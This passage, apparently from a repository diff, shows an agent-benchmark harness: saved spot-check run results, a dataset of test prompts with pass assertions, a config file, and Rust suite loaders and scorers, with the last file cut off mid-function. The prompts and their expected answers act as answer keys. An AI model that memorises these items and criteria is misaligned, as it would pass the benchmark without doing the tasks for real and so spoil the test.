{"task_id":"chain-shell-json","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":4582,"llm_calls":3,"input_tokens":4433,"output_tokens":94,"estimated_cost_usd":0.014709,"tool_calls":[{"name":"shell","duration_ms":0,"success":true},{"name":"json","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"[Called tool `json` with arguments: {\"data\":{\"code\":200,\"status\":\"ok\"},\"operation\":\"query\",\"path\":\"status\"}]","started_at":"2026-02-17T22:02:49.463794Z","finished_at":"2026-02-17T22:02:54.046092Z","config_label":"default","error":null}
{"task_id":"chain-time-echo","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":4583,"llm_calls":3,"input_tokens":4404,"output_tokens":76,"estimated_cost_usd":0.014352,"tool_calls":[{"name":"time","duration_ms":0,"success":true},{"name":"echo","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"2026-02-17T22:02:55.786456+00:00","started_at":"2026-02-17T22:02:54.046306Z","finished_at":"2026-02-17T22:02:58.629389Z","config_label":"default","error":null}
{"task_id":"robust-no-tool","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":1020,"llm_calls":1,"input_tokens":1366,"output_tokens":5,"estimated_cost_usd":0.004173,"tool_calls":[],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"Paris.","started_at":"2026-02-17T22:02:58.630502Z","finished_at":"2026-02-17T22:02:59.650655Z","config_label":"default","error":null}
{"task_id":"robust-correct-tool","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":3980,"llm_calls":2,"input_tokens":2825,"output_tokens":50,"estimated_cost_usd":0.009225,"tool_calls":[{"name":"time","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"Its **22:03:01 UTC** right now (**2026-02-17**).","started_at":"2026-02-17T22:02:59.650901Z","finished_at":"2026-02-17T22:03:03.631122Z","config_label":"default","error":null}
{"task_id":"robust-json-validate","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":2954,"llm_calls":2,"input_tokens":2822,"output_tokens":43,"estimated_cost_usd":0.009111,"tool_calls":[{"name":"json","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"The JSON is valid (`valid: true`).","started_at":"2026-02-17T22:03:03.631527Z","finished_at":"2026-02-17T22:03:06.585971Z","config_label":"default","error":null}
{"task_id":"memory-save-daily","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":4890,"llm_calls":3,"input_tokens":4547,"output_tokens":114,"estimated_cost_usd":0.015351,"tool_calls":[{"name":"write_file","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"```md\n# Daily Tasks\n\n1. Review PR #42\n2. Update API docs\n3. Deploy to staging\n```","started_at":"2026-02-17T22:03:06.586556Z","finished_at":"2026-02-17T22:03:11.476648Z","config_label":"default","error":null}
{"task_id":"memory-save-reminder","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":5607,"llm_calls":3,"input_tokens":4531,"output_tokens":95,"estimated_cost_usd":0.015018,"tool_calls":[{"name":"write_file","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"The appointment is on **March 5th at 2pm**, with **Dr. Smith**.","started_at":"2026-02-17T22:03:11.476873Z","finished_at":"2026-02-17T22:03:17.084343Z","config_label":"default","error":null}
{"task_id":"memory-save-meeting","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":6113,"llm_calls":3,"input_tokens":4750,"output_tokens":122,"estimated_cost_usd":0.01608,"tool_calls":[{"name":"write_file","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"Frontend owner: **Bob** \nLaunch date: **April 15th**","started_at":"2026-02-17T22:03:17.085432Z","finished_at":"2026-02-17T22:03:23.198905Z","config_label":"default","error":null}
{"task_id":"memory-append-log","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":9880,"llm_calls":6,"input_tokens":9941,"output_tokens":208,"estimated_cost_usd":0.032943,"tool_calls":[{"name":"write_file","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true},{"name":"shell","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"Contents of `/tmp/bench-log.md`:\n1. Morning standup: discussed blockers on auth service \n2. Afternoon: resolved API timeout issue in payment gateway \n\nSummary: You discussed blockers affecting the auth service during the morning standup, and later in the afternoon you resolved an API timeout issue in the payment gateway.","started_at":"2026-02-17T22:03:23.199155Z","finished_at":"2026-02-17T22:03:33.079396Z","config_label":"default","error":null}
{"task_id":"memory-recall-detail","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":4989,"llm_calls":3,"input_tokens":4721,"output_tokens":121,"estimated_cost_usd":0.015978,"tool_calls":[{"name":"write_file","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"The project uses **PostgreSQL** as the database, and the PM is **James**.","started_at":"2026-02-17T22:03:33.080611Z","finished_at":"2026-02-17T22:03:38.069896Z","config_label":"default","error":null}
{"task_id":"memory-todo-priority","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":5916,"llm_calls":3,"input_tokens":4676,"output_tokens":110,"estimated_cost_usd":0.015678,"tool_calls":[{"name":"write_file","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"High priority tasks:\n- Fix login bug\n- Security audit","started_at":"2026-02-17T22:03:38.070162Z","finished_at":"2026-02-17T22:03:43.986831Z","config_label":"default","error":null}
{"task_id":"memory-multifile","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":6081,"llm_calls":4,"input_tokens":6442,"output_tokens":196,"estimated_cost_usd":0.022266,"tool_calls":[{"name":"write_file","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"On Tuesday you have **Sprint retro at 11am**, then **team lunch at noon**.","started_at":"2026-02-17T22:03:43.988013Z","finished_at":"2026-02-17T22:03:50.069452Z","config_label":"default","error":null}
{"task_id":"memory-update-context","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":9164,"llm_calls":5,"input_tokens":8354,"output_tokens":252,"estimated_cost_usd":0.028842,"tool_calls":[{"name":"write_file","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true},{"name":"apply_patch","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"Final read confirms the file now says `timezone: EST`.","started_at":"2026-02-17T22:03:50.070277Z","finished_at":"2026-02-17T22:03:59.235196Z","config_label":"default","error":null}
-21
View File
@@ -1,21 +0,0 @@
{"id": "smoke-greeting", "prompt": "Hello! Introduce yourself briefly.", "tags": ["smoke"], "assertions": {"response_matches": "(?i)(hello|hi|hey|assistant|agent|help)", "no_error": true, "max_tool_calls": 0}}
{"id": "smoke-math", "prompt": "What is 47 * 23? Reply with just the number.", "tags": ["smoke"], "assertions": {"response_contains": ["1081"], "no_error": true, "max_tool_calls": 0}}
{"id": "tool-echo", "prompt": "Use the echo tool to repeat the message: 'Spot check passed'", "tags": ["tool"], "assertions": {"tools_used": ["echo"], "response_contains": ["Spot check passed"], "no_error": true}}
{"id": "tool-time", "prompt": "What is the current date and time? Use the time tool.", "tags": ["tool"], "assertions": {"tools_used": ["time"], "response_matches": "20\\d{2}", "no_error": true}}
{"id": "tool-json-query", "prompt": "Given this JSON: {\"users\": [{\"name\": \"Alice\"}, {\"name\": \"Bob\"}]}, use the json tool to extract the second user's name.", "tags": ["tool"], "assertions": {"tools_used": ["json"], "response_contains": ["Bob"], "no_error": true}}
{"id": "tool-shell-echo", "prompt": "Use the shell tool to run: echo 'benchmark test'", "tags": ["tool"], "assertions": {"tools_used": ["shell"], "response_contains": ["benchmark test"], "no_error": true}}
{"id": "tool-list-dir", "prompt": "Use the list_dir tool to list the contents of the /tmp directory.", "tags": ["tool"], "assertions": {"tools_used": ["list_dir"], "no_error": true}}
{"id": "chain-write-read", "prompt": "Write the text 'ironclaw spot check' to /tmp/ironclaw_spot_test.txt using the write_file tool, then read it back using the read_file tool and tell me what it says.", "tags": ["chain"], "assertions": {"tools_used": ["write_file", "read_file"], "response_contains": ["ironclaw spot check"], "no_error": true}}
{"id": "chain-shell-json", "prompt": "Run a shell command to output the JSON string '{\"status\": \"ok\", \"code\": 200}', then use the json tool to extract the status field.", "tags": ["chain"], "assertions": {"response_contains": ["ok"], "min_tool_calls": 1, "no_error": true}}
{"id": "chain-time-echo", "prompt": "First get the current time using the time tool, then use the echo tool to repeat it back.", "tags": ["chain"], "assertions": {"tools_used": ["time", "echo"], "no_error": true}}
{"id": "robust-no-tool", "prompt": "What is the capital of France? Answer directly without using any tools.", "tags": ["robust"], "assertions": {"response_contains": ["Paris"], "max_tool_calls": 0, "no_error": true}}
{"id": "robust-correct-tool", "prompt": "What time is it right now?", "tags": ["robust"], "assertions": {"tools_used": ["time"], "tools_not_used": ["shell", "echo"], "no_error": true}}
{"id": "robust-json-validate", "prompt": "Use the json tool to validate whether this is valid JSON: {\"key\": \"value\", \"num\": 42}", "tags": ["robust"], "assertions": {"tools_used": ["json"], "tools_not_used": ["shell"], "no_error": true}}
{"id": "memory-save-daily", "prompt": "Save these daily tasks to /tmp/bench-daily.md:\n1. Review PR #42\n2. Update API docs\n3. Deploy to staging\nThen read the file back and confirm what was saved.", "tags": ["memory"], "assertions": {"tools_used": ["write_file", "read_file"], "response_contains": ["PR #42", "docs", "staging"], "no_error": true}}
{"id": "memory-save-reminder", "prompt": "Write a reminder to /tmp/bench-reminder.md: Dentist appointment on March 5th at 2pm with Dr. Smith. Then read the file back and tell me when the appointment is and with whom.", "tags": ["memory"], "assertions": {"tools_used": ["write_file", "read_file"], "response_contains": ["March 5", "Smith"], "response_matches": "2(:00)?\\s*[Pp][Mm]", "no_error": true}}
{"id": "memory-save-meeting", "prompt": "Save these meeting notes to /tmp/bench-meeting.md:\nMeeting: Project Phoenix sync\nAttendees: Alice, Bob, Carol\nDecisions:\n- Launch date: April 15th\n- Budget: $50k approved\n- Bob owns frontend, Carol owns backend\nThen read the file back and tell me who owns the frontend and what the launch date is.", "tags": ["memory"], "assertions": {"tools_used": ["write_file", "read_file"], "response_contains": ["Bob", "frontend", "April 15"], "no_error": true}}
{"id": "memory-append-log", "prompt": "Write 'Morning standup: discussed blockers on auth service' to /tmp/bench-log.md. Then append a new line 'Afternoon: resolved API timeout issue in payment gateway' to the same file. Finally read the full file and summarize what happened.", "tags": ["memory"], "assertions": {"tools_used": ["write_file", "read_file"], "response_contains": ["auth", "timeout"], "min_tool_calls": 3, "no_error": true}}
{"id": "memory-recall-detail", "prompt": "Save the following project context to /tmp/bench-project.md:\nProject Ironclad uses Rust for the backend, React for the frontend, and PostgreSQL for the database. The API is deployed on AWS ECS. The lead developer is Sarah and the PM is James. The sprint ends on March 20th.\nThen read it back and answer: What database does the project use, and who is the PM?", "tags": ["memory"], "assertions": {"tools_used": ["write_file", "read_file"], "response_contains": ["PostgreSQL", "James"], "no_error": true}}
{"id": "memory-todo-priority", "prompt": "Write the following to /tmp/bench-todo.md:\n- [ ] Fix login bug (priority: HIGH)\n- [ ] Write unit tests (priority: medium)\n- [ ] Update README (priority: low)\n- [ ] Security audit (priority: HIGH)\nThen read it back and tell me which tasks are high priority.", "tags": ["memory"], "assertions": {"tools_used": ["write_file", "read_file"], "response_contains": ["login bug", "security audit"], "no_error": true}}
{"id": "memory-multifile", "prompt": "Save 'Team standup at 9am, then client demo at 2pm' to /tmp/bench-monday.md and 'Sprint retro at 11am, team lunch at noon' to /tmp/bench-tuesday.md. Then read both files and tell me what's happening on Tuesday.", "tags": ["memory"], "assertions": {"tools_used": ["write_file", "read_file"], "response_contains": ["retro", "lunch"], "min_tool_calls": 3, "no_error": true}}
{"id": "memory-update-context", "prompt": "Write 'User preference: dark mode, timezone: PST, language: English' to /tmp/bench-prefs.md. Then read it back, and rewrite the file changing the timezone to EST. Finally read it one more time and confirm the timezone is now EST.", "tags": ["memory"], "assertions": {"tools_used": ["write_file", "read_file"], "response_contains": ["EST"], "min_tool_calls": 4, "no_error": true}}
-8
View File
@@ -1,8 +0,0 @@
task_timeout = "120s"
parallelism = 1
[[matrix]]
label = "default"
[suite_config]
dataset_path = "benchmarks/data/spot.jsonl"
-243
View File
@@ -1,243 +0,0 @@
use std::io::BufRead;
use std::path::PathBuf;
use async_trait::async_trait;
use serde::Deserialize;
use crate::error::BenchError;
use crate::scoring;
use crate::suite::{BenchScore, BenchSuite, BenchTask, TaskSubmission};
/// A single entry in the custom JSONL format.
#[derive(Debug, Deserialize)]
struct CustomEntry {
id: String,
prompt: String,
#[serde(default)]
context: Option<String>,
#[serde(default)]
tags: Vec<String>,
#[serde(default)]
expected: Option<String>,
#[serde(default)]
expected_contains: Option<String>,
#[serde(default)]
expected_regex: Option<String>,
/// "exact", "contains", "regex", or "llm" (default: "exact")
#[serde(default = "default_scorer")]
scorer: String,
}
fn default_scorer() -> String {
"exact".to_string()
}
/// Custom JSONL benchmark suite.
///
/// Each line of the JSONL file is a task with `id`, `prompt`, and scoring
/// criteria (`expected`, `expected_contains`, `expected_regex`).
pub struct CustomSuite {
dataset_path: PathBuf,
}
impl CustomSuite {
pub fn new(dataset_path: impl Into<PathBuf>) -> Self {
Self {
dataset_path: dataset_path.into(),
}
}
}
#[async_trait]
impl BenchSuite for CustomSuite {
fn name(&self) -> &str {
"Custom JSONL"
}
fn id(&self) -> &str {
"custom"
}
async fn load_tasks(&self) -> Result<Vec<BenchTask>, BenchError> {
let file = std::fs::File::open(&self.dataset_path).map_err(BenchError::Io)?;
let reader = std::io::BufReader::new(file);
let mut tasks = Vec::new();
for (line_num, line) in reader.lines().enumerate() {
let line = line?;
let trimmed = line.trim();
if trimmed.is_empty() {
continue;
}
let entry: CustomEntry = serde_json::from_str(trimmed)
.map_err(|e| BenchError::Config(format!("line {}: {}", line_num + 1, e)))?;
let mut metadata = serde_json::json!({
"scorer": entry.scorer,
});
if let Some(ref expected) = entry.expected {
metadata["expected"] = serde_json::Value::String(expected.clone());
}
if let Some(ref expected_contains) = entry.expected_contains {
metadata["expected_contains"] =
serde_json::Value::String(expected_contains.clone());
}
if let Some(ref expected_regex) = entry.expected_regex {
metadata["expected_regex"] = serde_json::Value::String(expected_regex.clone());
}
tasks.push(BenchTask {
id: entry.id,
prompt: entry.prompt,
context: entry.context,
resources: vec![],
tags: entry.tags,
expected_turns: None,
timeout: None,
metadata,
});
}
Ok(tasks)
}
async fn score(
&self,
task: &BenchTask,
submission: &TaskSubmission,
) -> Result<BenchScore, BenchError> {
let scorer = task
.metadata
.get("scorer")
.and_then(|v| v.as_str())
.unwrap_or("exact");
match scorer {
"exact" => {
if let Some(expected) = task.metadata.get("expected").and_then(|v| v.as_str()) {
Ok(scoring::exact_match(expected, &submission.response))
} else {
Err(BenchError::Scoring {
task_id: task.id.clone(),
reason: "no 'expected' field for exact scoring".to_string(),
})
}
}
"contains" => {
if let Some(expected) = task
.metadata
.get("expected_contains")
.and_then(|v| v.as_str())
{
Ok(scoring::contains_match(expected, &submission.response))
} else {
Err(BenchError::Scoring {
task_id: task.id.clone(),
reason: "no 'expected_contains' field for contains scoring".to_string(),
})
}
}
"regex" => {
if let Some(pattern) = task.metadata.get("expected_regex").and_then(|v| v.as_str())
{
Ok(scoring::regex_match(pattern, &submission.response))
} else {
Err(BenchError::Scoring {
task_id: task.id.clone(),
reason: "no 'expected_regex' field for regex scoring".to_string(),
})
}
}
"llm" => {
// TODO: LLM-as-judge scoring
tracing::warn!(
task_id = %task.id,
"LLM-as-judge scoring not implemented, returning placeholder 0.5"
);
Ok(BenchScore::partial(0.5, "LLM scoring not yet implemented"))
}
other => Err(BenchError::Scoring {
task_id: task.id.clone(),
reason: format!("unknown scorer: {other}"),
}),
}
}
}
#[cfg(test)]
mod tests {
use super::*;
use std::io::Write;
#[tokio::test]
async fn test_custom_load_tasks() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("tasks.jsonl");
let mut file = std::fs::File::create(&path).unwrap();
writeln!(
file,
r#"{{"id": "t1", "prompt": "What is 2+2?", "expected": "4"}}"#
)
.unwrap();
writeln!(
file,
r#"{{"id": "t2", "prompt": "Say hello", "expected_contains": "hello", "scorer": "contains"}}"#
)
.unwrap();
let suite = CustomSuite::new(&path);
let tasks = suite.load_tasks().await.unwrap();
assert_eq!(tasks.len(), 2);
assert_eq!(tasks[0].id, "t1");
assert_eq!(tasks[1].id, "t2");
}
#[tokio::test]
async fn test_custom_exact_scoring() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("tasks.jsonl");
let mut file = std::fs::File::create(&path).unwrap();
writeln!(
file,
r#"{{"id": "t1", "prompt": "What is 2+2?", "expected": "4"}}"#
)
.unwrap();
let suite = CustomSuite::new(&path);
let tasks = suite.load_tasks().await.unwrap();
let submission = TaskSubmission {
response: "4".to_string(),
conversation: vec![],
tool_calls: vec![],
error: None,
};
let score = suite.score(&tasks[0], &submission).await.unwrap();
assert_eq!(score.value, 1.0);
assert_eq!(score.label, "pass");
}
#[tokio::test]
async fn test_custom_contains_scoring() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("tasks.jsonl");
let mut file = std::fs::File::create(&path).unwrap();
writeln!(
file,
r#"{{"id": "t1", "prompt": "Greet me", "expected_contains": "hello", "scorer": "contains"}}"#
)
.unwrap();
let suite = CustomSuite::new(&path);
let tasks = suite.load_tasks().await.unwrap();
let submission = TaskSubmission {
response: "Hello there!".to_string(),
conversation: vec![],
tool_calls: vec![],
error: None,
};
let score = suite.score(&tasks[0], &submission).await.unwrap();
assert_eq!(score.value, 1.0);
}
}
-183
View File
@@ -1,183 +0,0 @@
use std::io::BufRead;
use std::path::PathBuf;
use async_trait::async_trait;
use serde::Deserialize;
use crate::error::BenchError;
use crate::scoring;
use crate::suite::{BenchScore, BenchSuite, BenchTask, TaskResource, TaskSubmission};
/// GAIA dataset entry (Hugging Face JSONL format).
#[derive(Debug, Deserialize)]
struct GaiaEntry {
task_id: String,
#[serde(alias = "Question")]
question: String,
#[serde(alias = "Final answer", alias = "final_answer")]
final_answer: String,
#[serde(alias = "Level", default)]
level: Option<u32>,
#[serde(alias = "file_name", default)]
file_name: Option<String>,
}
/// GAIA benchmark suite.
///
/// Tasks are loaded from HuggingFace JSONL exports. Scoring uses normalized
/// exact match against the `final_answer` field.
pub struct GaiaSuite {
dataset_path: PathBuf,
attachments_dir: Option<PathBuf>,
}
impl GaiaSuite {
pub fn new(
dataset_path: impl Into<PathBuf>,
attachments_dir: Option<impl Into<PathBuf>>,
) -> Self {
Self {
dataset_path: dataset_path.into(),
attachments_dir: attachments_dir.map(|d| d.into()),
}
}
}
#[async_trait]
impl BenchSuite for GaiaSuite {
fn name(&self) -> &str {
"GAIA"
}
fn id(&self) -> &str {
"gaia"
}
async fn load_tasks(&self) -> Result<Vec<BenchTask>, BenchError> {
let file = std::fs::File::open(&self.dataset_path)?;
let reader = std::io::BufReader::new(file);
let mut tasks = Vec::new();
for (line_num, line) in reader.lines().enumerate() {
let line = line?;
let trimmed = line.trim();
if trimmed.is_empty() {
continue;
}
let entry: GaiaEntry = serde_json::from_str(trimmed)
.map_err(|e| BenchError::Config(format!("GAIA line {}: {}", line_num + 1, e)))?;
let mut resources = Vec::new();
if let Some(ref file_name) = entry.file_name {
if !file_name.is_empty() {
if let Some(ref dir) = self.attachments_dir {
resources.push(TaskResource {
name: file_name.clone(),
path: dir.join(file_name).to_string_lossy().to_string(),
resource_type: crate::suite::ResourceType::File,
});
}
}
}
let mut tags = Vec::new();
if let Some(level) = entry.level {
tags.push(format!("level-{level}"));
}
let metadata = serde_json::json!({
"expected": entry.final_answer,
"level": entry.level,
});
tasks.push(BenchTask {
id: entry.task_id,
prompt: entry.question,
context: None,
resources,
tags,
expected_turns: None,
timeout: None,
metadata,
});
}
Ok(tasks)
}
async fn score(
&self,
task: &BenchTask,
submission: &TaskSubmission,
) -> Result<BenchScore, BenchError> {
let expected = task
.metadata
.get("expected")
.and_then(|v| v.as_str())
.ok_or_else(|| BenchError::Scoring {
task_id: task.id.clone(),
reason: "missing expected answer in metadata".to_string(),
})?;
Ok(scoring::exact_match(expected, &submission.response))
}
}
#[cfg(test)]
mod tests {
use super::*;
use std::io::Write;
#[tokio::test]
async fn test_gaia_load_tasks() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("gaia.jsonl");
let mut file = std::fs::File::create(&path).unwrap();
writeln!(
file,
r#"{{"task_id": "g1", "question": "What is the capital of France?", "final_answer": "Paris", "Level": 1}}"#
)
.unwrap();
let suite = GaiaSuite::new(&path, None::<PathBuf>);
let tasks = suite.load_tasks().await.unwrap();
assert_eq!(tasks.len(), 1);
assert_eq!(tasks[0].id, "g1");
assert!(tasks[0].tags.contains(&"level-1".to_string()));
}
#[tokio::test]
async fn test_gaia_scoring() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("gaia.jsonl");
let mut file = std::fs::File::create(&path).unwrap();
writeln!(
file,
r#"{{"task_id": "g1", "question": "Capital of France?", "final_answer": "Paris"}}"#
)
.unwrap();
let suite = GaiaSuite::new(&path, None::<PathBuf>);
let tasks = suite.load_tasks().await.unwrap();
// Exact match (case insensitive)
let submission = TaskSubmission {
response: "paris".to_string(),
conversation: vec![],
tool_calls: vec![],
error: None,
};
let score = suite.score(&tasks[0], &submission).await.unwrap();
assert_eq!(score.value, 1.0);
// Wrong answer
let submission = TaskSubmission {
response: "London".to_string(),
conversation: vec![],
tool_calls: vec![],
error: None,
};
let score = suite.score(&tasks[0], &submission).await.unwrap();
assert_eq!(score.value, 0.0);
}
}
-124
View File
@@ -1,124 +0,0 @@
pub mod custom;
pub mod gaia;
pub mod spot;
pub mod swe_bench;
pub mod tau_bench;
use crate::config::BenchConfig;
use crate::error::BenchError;
use crate::suite::BenchSuite;
/// List of all known suite IDs.
pub const KNOWN_SUITES: &[(&str, &str)] = &[
("custom", "Custom JSONL tasks"),
("gaia", "GAIA benchmark (knowledge & reasoning)"),
("spot", "Spot checks (end-to-end user workflows)"),
("tau_bench", "Tau-bench (multi-turn tool use)"),
("swe_bench", "SWE-bench Pro (software engineering)"),
];
/// Create a suite adapter by name.
pub fn create_suite(name: &str, config: &BenchConfig) -> Result<Box<dyn BenchSuite>, BenchError> {
let suite_map = config.suite_config_map();
match name {
"custom" => {
let dataset_path = suite_map
.get("dataset_path")
.and_then(|v| v.as_str())
.map(|s| s.to_string())
.ok_or_else(|| {
BenchError::Config(
"suite_config.dataset_path is required for 'custom' suite".to_string(),
)
})?;
Ok(Box::new(custom::CustomSuite::new(dataset_path)))
}
"gaia" => {
let dataset_path = suite_map
.get("dataset_path")
.and_then(|v| v.as_str())
.map(|s| s.to_string())
.ok_or_else(|| {
BenchError::Config(
"suite_config.dataset_path is required for 'gaia' suite".to_string(),
)
})?;
let attachments_dir = suite_map
.get("attachments_dir")
.and_then(|v| v.as_str())
.map(|s| s.to_string());
Ok(Box::new(gaia::GaiaSuite::new(
dataset_path,
attachments_dir,
)))
}
"spot" => {
let dataset_path = suite_map
.get("dataset_path")
.and_then(|v| v.as_str())
.map(|s| s.to_string())
.ok_or_else(|| {
BenchError::Config(
"suite_config.dataset_path is required for 'spot' suite".to_string(),
)
})?;
Ok(Box::new(spot::SpotSuite::new(dataset_path)))
}
"tau_bench" => {
let dataset_path = suite_map
.get("dataset_path")
.and_then(|v| v.as_str())
.map(|s| s.to_string())
.ok_or_else(|| {
BenchError::Config(
"suite_config.dataset_path is required for 'tau_bench' suite".to_string(),
)
})?;
let domain = suite_map
.get("domain")
.and_then(|v| v.as_str())
.unwrap_or("retail")
.to_string();
Ok(Box::new(tau_bench::TauBenchSuite::new(
dataset_path,
domain,
)))
}
"swe_bench" => {
let dataset_path = suite_map
.get("dataset_path")
.and_then(|v| v.as_str())
.map(|s| s.to_string())
.ok_or_else(|| {
BenchError::Config(
"suite_config.dataset_path is required for 'swe_bench' suite".to_string(),
)
})?;
let workspace_dir = suite_map
.get("workspace_dir")
.and_then(|v| v.as_str())
.unwrap_or("/tmp/swe-bench")
.to_string();
let use_docker = suite_map
.get("use_docker")
.and_then(|v| v.as_bool())
.unwrap_or(false);
Ok(Box::new(swe_bench::SweBenchSuite::new(
dataset_path,
workspace_dir,
use_docker,
)))
}
_ => {
let available = KNOWN_SUITES
.iter()
.map(|(id, _)| *id)
.collect::<Vec<_>>()
.join(", ");
Err(BenchError::SuiteNotFound {
name: name.to_string(),
available,
})
}
}
}
-504
View File
@@ -1,504 +0,0 @@
use std::collections::HashSet;
use std::io::BufRead;
use std::path::PathBuf;
use std::sync::Arc;
use async_trait::async_trait;
use regex::Regex;
use serde::{Deserialize, Serialize};
use crate::error::BenchError;
use crate::suite::{BenchScore, BenchSuite, BenchTask, TaskSubmission};
/// Multi-criterion assertions for a spot check scenario.
///
/// Each field generates one or more individual checks. The final score is
/// `passed_checks / total_checks`, giving a value between 0.0 and 1.0.
#[derive(Debug, Clone, Default, Serialize, Deserialize)]
pub struct SpotAssertions {
/// All must appear in the response (case-insensitive).
#[serde(default)]
pub response_contains: Vec<String>,
/// None may appear in the response (case-insensitive).
#[serde(default)]
pub response_not_contains: Vec<String>,
/// Each tool name must appear in the tool_calls list (checked by name,
/// not by count; duplicates in tool_calls are collapsed).
#[serde(default)]
pub tools_used: Vec<String>,
/// None of these tool names may appear in the tool_calls list.
#[serde(default)]
pub tools_not_used: Vec<String>,
/// Regex pattern the response must match.
#[serde(default)]
pub response_matches: Option<String>,
/// Hard fail if the task produced an error.
#[serde(default)]
pub no_error: bool,
/// Minimum number of tool calls expected (counts duplicates).
#[serde(default)]
pub min_tool_calls: Option<usize>,
/// Maximum number of tool calls allowed (counts duplicates).
#[serde(default)]
pub max_tool_calls: Option<usize>,
}
impl SpotAssertions {
/// Evaluate all assertions against a submission, returning (score, failure_details).
pub fn evaluate(&self, submission: &TaskSubmission) -> (f64, Vec<String>) {
let mut passed: usize = 0;
let mut total: usize = 0;
let mut failures: Vec<String> = Vec::new();
// Hard fail: error check
if self.no_error {
total += 1;
if let Some(ref err) = submission.error {
failures.push(format!("no_error: task errored with: {err}"));
// Hard fail: return 0.0 immediately
return (0.0, failures);
}
passed += 1;
}
let response_lower = submission.response.to_lowercase();
// response_contains: all must appear
for needle in &self.response_contains {
total += 1;
if response_lower.contains(&needle.to_lowercase()) {
passed += 1;
} else {
failures.push(format!("response_contains: missing \"{needle}\""));
}
}
// response_not_contains: none may appear
for needle in &self.response_not_contains {
total += 1;
if response_lower.contains(&needle.to_lowercase()) {
failures.push(format!("response_not_contains: found \"{needle}\""));
} else {
passed += 1;
}
}
let tool_set: HashSet<&str> = submission.tool_calls.iter().map(|s| s.as_str()).collect();
// tools_used: each must appear
for tool in &self.tools_used {
total += 1;
if tool_set.contains(tool.as_str()) {
passed += 1;
} else {
failures.push(format!("tools_used: \"{tool}\" not called"));
}
}
// tools_not_used: none may appear
for tool in &self.tools_not_used {
total += 1;
if tool_set.contains(tool.as_str()) {
failures.push(format!("tools_not_used: \"{tool}\" was called"));
} else {
passed += 1;
}
}
// response_matches: regex pattern
if let Some(ref pattern) = self.response_matches {
total += 1;
match Regex::new(pattern) {
Ok(re) => {
if re.is_match(&submission.response) {
passed += 1;
} else {
failures.push(format!("response_matches: /{pattern}/ did not match"));
}
}
Err(e) => {
failures.push(format!("response_matches: bad regex: {e}"));
}
}
}
let call_count = submission.tool_calls.len();
// min_tool_calls
if let Some(min) = self.min_tool_calls {
total += 1;
if call_count >= min {
passed += 1;
} else {
failures.push(format!(
"min_tool_calls: expected >= {min}, got {call_count}"
));
}
}
// max_tool_calls
if let Some(max) = self.max_tool_calls {
total += 1;
if call_count <= max {
passed += 1;
} else {
failures.push(format!(
"max_tool_calls: expected <= {max}, got {call_count}"
));
}
}
if total == 0 {
return (1.0, failures);
}
let score = passed as f64 / total as f64;
(score, failures)
}
}
/// JSONL entry for a spot check scenario.
#[derive(Debug, Deserialize)]
struct SpotEntry {
id: String,
prompt: String,
#[serde(default)]
context: Option<String>,
#[serde(default)]
tags: Vec<String>,
#[serde(default)]
assertions: SpotAssertions,
}
/// Spot benchmark suite: end-to-end checks for real user workflows.
///
/// Tests conversation, individual tool use, multi-tool chaining, and robustness.
/// Each task declares multi-criterion assertions scored as passed/total.
pub struct SpotSuite {
dataset_path: PathBuf,
}
impl SpotSuite {
pub fn new(dataset_path: impl Into<PathBuf>) -> Self {
Self {
dataset_path: dataset_path.into(),
}
}
}
#[async_trait]
impl BenchSuite for SpotSuite {
fn name(&self) -> &str {
"Spot Checks"
}
fn id(&self) -> &str {
"spot"
}
async fn load_tasks(&self) -> Result<Vec<BenchTask>, BenchError> {
let file = std::fs::File::open(&self.dataset_path).map_err(BenchError::Io)?;
